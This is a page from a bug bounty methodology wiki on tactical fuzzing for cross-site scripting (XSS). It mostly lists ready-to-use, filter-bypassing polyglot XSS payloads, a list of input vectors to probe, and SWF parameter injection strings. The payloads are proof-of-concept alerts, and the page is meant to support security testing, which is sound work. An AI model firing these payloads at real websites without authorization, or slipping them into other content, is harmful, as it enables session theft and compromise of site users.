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tbhm:05_xss

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Tactical Fuzzing - XSS

XSS

Core Idea: Does the page functionality display something to the users? For time sensitive testing the 80/20 rule applies. Many testers use Polyglot payloads. You probably have too!

Multi-context, filter bypass based polyglot payload #1 (Rsnake XSS Cheat Sheet)

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Multi-context, filter bypass based polyglot payload #2 (Ashar Javed XSS Research)

">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http://i.imgur.com/P8mL8.jpg">

Multi-context polyglot payload (Mathias Karlsson)

" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//

Other XSS Observations

Input Vectors:

  • Customizable Themes & Profiles via CSS
  • Event or meeting names
  • URI based
  • Imported from a 3rd party (think Facebook integration)
  • JSON POST Values (check returning content type)
  • File Upload names
  • Uploaded files (swf, HTML, ++)
  • Custom Error pages
  • fake params - ?realparam=1&foo=bar'+alert(/XSS/)+'
  • Login and Forgot password forms

SWF Parameter XSS

Common Params: onload, allowedDomain, movieplayer, xmlPath, eventhandler, callback (more on OWASP page)

Common Injection Strings:

\%22})))}catch(e){alert(document.domain);}//
"]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
"a")(({type:"ready"}));}catch(e){alert(1)}//
tbhm/05_xss.1778747293.txt.gz · Last modified: by drew

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